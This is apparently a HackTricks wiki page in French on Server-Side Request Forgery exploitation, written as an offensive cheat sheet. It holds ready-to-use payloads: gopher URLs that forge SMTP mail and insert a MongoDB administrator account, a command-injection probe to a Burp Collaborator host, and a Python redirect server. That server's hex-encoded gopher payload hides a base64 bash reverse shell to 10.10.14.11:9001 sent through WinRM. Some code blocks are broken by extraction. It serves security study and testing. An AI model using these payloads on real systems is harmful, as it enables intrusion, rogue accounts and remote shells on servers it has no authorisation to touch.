SSRF (Server Side Request Forgery)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Basic Information
Une vulnérabilité de type Server-side Request Forgery (SSRF) survient lorsqu’un attaquant manipule une application côté serveur pour qu’elle effectue des requêtes HTTP vers un domaine de son choix. Cette vulnérabilité expose le serveur à des requêtes externes arbitraires dirigées par l’attaquant.
Capture SSRF
La première chose à faire est de capturer une interaction SSRF générée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - A Burp Collaborator using ngrok
Whitelisted Domains Bypass
En règle générale, vous constaterez que le SSRF ne fonctionne que sur certains domaines ou URL en liste blanche. Dans la page suivante, vous trouverez une compilation de techniques pour tenter de contourner cette liste blanche :
Contournement via open redirect
Si le serveur est correctement protégé, vous pourriez contourner toutes les restrictions en exploitant un Open Redirect présent sur la page web. Comme la page autorisera probablement des SSRF vers le même domaine et suivra probablement les redirects, vous pouvez exploiter l’Open Redirect pour amener le serveur à accéder à n’importe quelle ressource interne.
Read more here: https://portswigger.net/web-security/ssrf
Protocols
- file://
- Le schéma d’URL
file://est mentionné, pointant directement vers/etc/passwd:file:///etc/passwd - dict://
- Le schéma d’URL DICT est décrit comme utilisé pour accéder à des définitions ou listes de mots via le protocole DICT. L’exemple illustre une URL construite ciblant un mot spécifique, une base de données et un numéro d’entrée, ainsi qu’un cas où un script PHP pourrait être détourné pour se connecter à un serveur DICT en utilisant des identifiants fournis par l’attaquant :
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n> - SFTP://
- Identifié comme protocole de transfert de fichiers sécurisé sur SSH, un exemple montre comment un script PHP pourrait être exploité pour se connecter à un serveur SFTP malveillant :
url=sftp://generic.com:11111/ - TFTP://
- Trivial File Transfer Protocol, opérant sur UDP, est mentionné avec un exemple de script PHP conçu pour envoyer une requête à un serveur TFTP. Une requête TFTP est faite à ‘generic.com’ sur le port ‘12346’ pour le fichier ‘TESTUDPPACKET’ :
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET - LDAP://
- Cette section couvre le Lightweight Directory Access Protocol, en insistant sur son utilisation pour gérer et accéder à des services d’annuaire distribués sur des réseaux IP. Interaction avec un serveur LDAP sur localhost :
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit. - SMTP
- Une méthode est décrite pour exploiter des vulnérabilités SSRF afin d’interagir avec des services SMTP sur localhost, incluant des étapes pour révéler des noms de domaine internes et des actions d’investigation supplémentaires basées sur ces informations.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF bypass
- Si le SSRF est exécuté par curl, curl dispose d’une fonctionnalité appelée URL globbing qui peut être utile pour contourner les WAFs. Par exemple, dans ce writeup vous pouvez trouver cet exemple pour un path traversal via
fileprotocol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Les capacités du protocole Gopher à spécifier IP, port et bytes pour la communication avec un serveur sont expliquées, ainsi que des outils comme Gopherus et remote-method-guesser pour créer des payloads. Deux utilisations distinctes sont illustrées :
Gopher://
En utilisant ce protocole, vous pouvez spécifier les IP, port and bytes que vous voulez que le serveur send. Ensuite, vous pouvez essentiellement exploiter une SSRF pour communicate with any TCP server (mais vous devez d’abord savoir comment parler au service).
Heureusement, vous pouvez utiliser Gopherus pour créer des payloads pour plusieurs services. De plus, remote-method-guesser peut être utilisé pour créer gopher payloads pour Java RMI services.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — Back connect vers 1337
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher MongoDB – Créer un utilisateur avec username=admin, password=admin123 et permission=administrator
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF via l’en-tête Referrer & autres
Les outils d’analytics sur les serveurs enregistrent souvent l’en-tête Referrer pour suivre les liens entrants, une pratique qui expose involontairement les applications à des vulnérabilités Server-Side Request Forgery (SSRF). En effet, ces outils peuvent visiter les URL externes présentes dans l’en-tête Referrer pour analyser le contenu des sites référents. Pour découvrir ces vulnérabilités, il est conseillé d’utiliser le plugin Burp Suite “Collaborator Everywhere”, qui exploite la manière dont les outils d’analytics traitent l’en-tête Referer pour identifier les surfaces d’attaque SSRF potentielles.
SSRF via les données SNI du certificat
Une mauvaise configuration pouvant permettre la connexion à n’importe quel backend via une configuration simple est illustrée par l’exemple de configuration Nginx suivant :
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
Dans cette configuration, la valeur du champ Server Name Indication (SNI) est directement utilisée comme adresse du backend. Cette configuration expose à une vulnérabilité de Server-Side Request Forgery (SSRF), qui peut être exploitée en spécifiant simplement l’adresse IP ou le nom de domaine souhaité dans le champ SNI. Un exemple d’exploitation pour forcer une connexion vers un backend arbitraire, comme internal.host.com, en utilisant la commande openssl est donné ci-dessous :
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
SSRF via TLS AIA CA Issuers (Java mTLS)
Certain stacks TLS téléchargeront automatiquement les CA intermédiaires manquantes en utilisant l’URI Authority Information Access (AIA) → CA Issuers présente dans le certificat du pair. En Java, activer -Dcom.sun.security.enableAIAcaIssuers=true lors de l’exécution d’un service mTLS pousse le serveur à déréférencer des URI contrôlées par un attaquant depuis le certificat client pendant le handshake, avant que toute logique HTTP ne s’exécute.
- Exigences : mTLS activé, récupération AIA Java activée, l’attaquant peut présenter un client cert avec une URI AIA CA Issuers construite.
- Déclencher SSRF (exemple Java 21) :
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem
La sortie de debug certpath de Java montre CertStore URI:http://localhost:8080, et nc capture la requête HTTP avec le User-Agent contrôlable depuis -Dhttp.agent, prouvant le SSRF pendant la validation du certificat.
- DoS via file:// : définir AIA CA Issuers sur
file:///dev/urandomsur des hôtes de type Unix fait que Java le traite comme un CertStore et lit des octets aléatoires sans limite, occupant un core CPU et bloquant les connexions suivantes même après la déconnexion du client.
SSRF via CSS Pre-Processors
LESS est un pre-processor CSS populaire qui ajoute des variables, mixins, fonctions et la puissante directive @import. Lors de la compilation, le moteur LESS va récupérer les ressources référencées dans les déclarations @import et intégrer (“inline”) leur contenu dans le CSS résultant lorsque l’option (inline) est utilisée.
Check how to exploit it in:
Wget file upload
SSRF with Command Injection
It might be worth trying a payload like: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDFs Rendering
Si la page web crée automatiquement un PDF avec des informations que vous avez fournies, vous pouvez insérer du JS qui sera exécuté par le générateur de PDF lui‑même (le serveur) lors de la création du PDF et vous pourrez abuser d’un SSRF. Find more information here.
From SSRF to DoS
Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exploitant le SSRF depuis les sessions.
SSRF PHP Functions
Check the following page for vulnerable PHP and even Wordpress functions:
SSRF Redirect to Gopher
Pour certaines exploitations, il peut être nécessaire d’envoyer une réponse de redirect (potentiellement pour utiliser un protocole différent comme gopher). Voici différents codes python pour répondre avec un redirect :
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Proxies mal configurés conduisant à SSRF
Tricks from this post.
Flask
Code de proxy Flask vulnérable
```python from flask import Flask from requests import getapp = Flask(‘main’) SITE_NAME = ‘https://google.com’
@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)
def proxy(path): return get(f’{SITE_NAME}{path}’).content
if name == “main”: app.run(threaded=False)
</details>
Flask permet d'utiliser **`@`** comme caractère initial, ce qui permet que le **nom d'hôte initial soit utilisé comme nom d'utilisateur** et d'en injecter un nouveau. Requête d'attaque:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Code vulnérable :
.png)
Il a été découvert qu’il est possible de démarrer le chemin d’une requête avec le caractère ; ce qui permet ensuite d’utiliser @ et d’injecter un nouvel hôte à atteindre. Requête d’attaque :
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
Serveur Web intégré PHP
Code PHP vulnérable
```php$proxy_site = $site.$current_uri; var_dump($proxy_site);
echo “\n\n”;
$response = file_get_contents($proxy_site); var_dump($response); ?>
</details>
PHP permet l'utilisation du **caractère `*` avant un slash dans le chemin** de l'URL ; toutefois, il présente d'autres limitations : il ne peut être utilisé que pour le nom de chemin racine `/` et les points `.` ne sont pas autorisés avant le premier slash, il est donc nécessaire d'utiliser, par exemple, une adresse IP encodée en hex sans points (dotless-hex) :
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
Reverse proxies qui acceptent des URLs absolues dans la request line (open forward-proxy)
Certaines reverse proxies acceptent également des absolute-form request lines (GET http://10.0.0.5:8080/path HTTP/1.1) et transmettent l’URL telle quelle vers un backend au lieu de la rejeter ou de la réécrire vers l’upstream configuré. Cela transforme le reverse proxy en un pre-auth forward proxy with full-read SSRF, donnant notamment accès aux services liés à localhost qui seraient normalement inaccessibles depuis Internet.
Points clés:
- La request line contrôle la destination : l’autorité dans l’URL absolue outrepasse le routage normal ; l’en-tête
Hostest généralement ignoré. - Réponse complète renvoyée : les réponses des hôtes internes sont retransmises en flux, vous pouvez donc énumérer et interagir (p.ex., SOAP/Axis2, Keycloak, admin consoles) plutôt que de faire du blind-probing.
- Fonctionne sur localhost :
GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\nsuffit pour atteindre des services accessibles uniquement via loopback. - Abuser comme pivot : combinez avec d’autres vulns (p.ex., upload endpoints) pour atteindre des services intra-hôte.
Sonde minimale:
GET http://127.0.0.1:8080/ HTTP/1.1
Host: whatever
Connection: close
Si vous voyez la réponse en amont au lieu d’une 400, l’appliance agit comme un proxy ouvert.
DNS Rebidding CORS/SOP bypass
Si vous avez des problèmes pour exfiltrer du contenu depuis une IP locale à cause de CORS/SOP, DNS Rebidding peut être utilisé pour contourner cette limitation :
CORS - Misconfigurations & Bypass
DNS Rebidding automatisé
Singularity of Origin is a tool to perform DNS rebinding attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine’s IP address and to serve attack payloads to exploit vulnerable software on the target machine.
Check out also the publicly running server in http://rebind.it/singularity.html
DNS Rebidding + TLS Session ID/Session ticket
Prérequis :
- SSRF
- sessions TLS sortantes
- services sur des ports locaux
Attaque :
- Demandez à l’utilisateur/bot d’accéder à un domaine contrôlé par l’attaquant.
- Le TTL du DNS est 0 s (donc la victime vérifiera de nouveau bientôt l’IP du domaine).
- Une connexion TLS est créée entre la victime et le domaine de l’attaquant. L’attaquant introduit le payload à l’intérieur de l’Session ID ou du Session Ticket.
- Le domaine lancera une boucle infinie de redirections vers lui-même. Le but est de faire en sorte que l’utilisateur/bot accède au domaine jusqu’à ce qu’il effectue à nouveau une requête DNS pour le domaine.
- Dans la requête DNS, une adresse IP privée est fournie maintenant (127.0.0.1 par exemple).
- L’utilisateur/bot tentera de réétablir la connexion TLS et, pour ce faire, il enverra l’ID de Session / l’ID du Ticket de session (où le payload de l’attaquant était contenu). Donc félicitations : vous avez réussi à faire en sorte que l’utilisateur/bot s’attaque lui‑même.
Notez que pendant cette attaque, si vous voulez attaquer localhost:11211 (memcache) vous devez faire établir à la victime la connexion initiale avec www.attacker.com:11211 (le port doit toujours être le même).
Pour réaliser cette attaque vous pouvez utiliser l’outil : https://github.com/jmdx/TLS-poison/
Pour plus d’informations regardez la conférence où cette attaque est expliquée : https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
La différence entre un blind SSRF et un SSRF non blind est que dans le blind vous ne pouvez pas voir la réponse de la requête SSRF. Ainsi, il est plus difficile à exploiter car vous ne pourrez exploiter que des vulnérabilités bien connues.
Time based SSRF
En vérifiant le temps des réponses du serveur, il peut être possible de savoir si une ressource existe ou non (il peut prendre plus de temps d’accéder à une ressource existante qu’à une qui n’existe pas)
From blid to full abusing status codes
According to this blog post, some blind SSRF might happen because even if the targeted URL responds with a 200 status code (like AWS metadata), this dat is not properly formatted and therefore the app might refuse to show it.
However, it as found that sending some redirecs responses from 305 to 309 in the SSRF it might possible to makethen application follow these redirects while entering an error mode that no longer will check the format of the data and might just print it.
The python server used to exploit this is th following:
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10: # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)
@app.route("/start")
def start():
return redirect("/redir", 302)
Étapes :
- D’abord, un 302 fait que l’app commence à suivre.
- Ensuite elle reçoit 305 → 306 → 307 → 308 → 309 → 310.
- Après le 5ᵉ code étrange, le PoC finit par retourner 302 → 169.254.169.254 → 200 OK.
Ce qui se passe à l’intérieur de la cible :
- libcurl lui‑même suit 305–310 ; il normalise simplement les codes inconnus en “follow.”
- Après N redirections bizarres (≥ 5 ici), le wrapper de l’application décide « quelque chose cloche » et bascule en mode erreur destiné au débogage.
- Dans ce mode, il dump toute la chaîne de redirections plus le body final vers l’appelant externe.
- Résultat : attacker voit chaque header + le metadata JSON — mission accomplie.
Notez que c’est intéressant pour leak des status codes que vous ne pouviez pas leak auparavant (comme un 200). Cependant, si d’une manière ou d’une autre vous pouviez aussi choisir le status code de la réponse (imaginez que vous puissiez décider que les AWS metadata répondent avec un status code 500), il pourrait y avoir certains status codes qui provoquent un leak direct du contenu de la réponse.
Moteurs HTML-to-PDF comme gadgets blind SSRF
Des bibliothèques telles que TCPDF (et des wrappers comme spipu/html2pdf) vont automatiquement récupérer toutes les URLs présentes dans l’HTML contrôlé par l’attacker lors du rendu d’un PDF. Chaque attribut <img> ou <link rel="stylesheet"> est résolu côté serveur via cURL, getimagesize(), ou file_get_contents(), vous permettant d’inciter le PDF worker à sonder des hôtes internes même si aucune réponse HTTP n’est reflétée vers vous.
<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
- TCPDF 6.10.0 effectue plusieurs tentatives de récupération pour chaque
<img>resource, donc un seul payload peut générer plusieurs requêtes (utile pour des scans de ports basés sur le timing). - html2pdf reproduit le comportement de TCPDF pour
<img>et ajoute la récupération de CSS dansCss::extractStyle(), qui appelle simplementfile_get_contents($href)après une vérification superficielle du scheme. Abusez-en pour atteindre des services loopback, les plages RFC1918, ou les endpoints de metadata cloud. - Combinez ce primitive SSRF avec les HTML-to-PDF path traversal tricks pour leak à la fois les réponses HTTP internes et les fichiers locaux rendus dans le PDF.
Les hardeners devraient supprimer les URLs externes avant le rendu ou isoler le renderer dans un sandbox réseau ; en attendant, considérez les générateurs de PDF comme des proxies SSRF aveugles.
Exploitation SSRF dans le cloud
Si vous trouvez une vulnérabilité SSRF sur une machine exécutée dans un environnement cloud, vous pourriez être en mesure d’obtenir des informations intéressantes sur l’environnement cloud et même des credentials :
Plateformes vulnérables à SSRF
Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, consultez-les dans :
Outils
SSRFMap
Tool to detect and exploit SSRF vulnerabilities
Gopherus
This tool generates Gopher payloads for:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser est un scanner de vulnérabilités Java RMI qui prend en charge des opérations d’attaque pour la plupart des vulnérabilités Java RMI courantes. La plupart des opérations disponibles supportent l’option --ssrf pour générer un payload SSRF pour l’opération demandée. Avec l’option --gopher, des payloads gopher prêts à l’emploi peuvent être générés directement.
SSRF Proxy
SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour faire transiter le trafic HTTP client via des serveurs HTTP vulnérables à Server-Side Request Forgery (SSRF).
To practice
Références
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk
- RFC 5280 §4.2.2.1 Authority Information Access
- When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


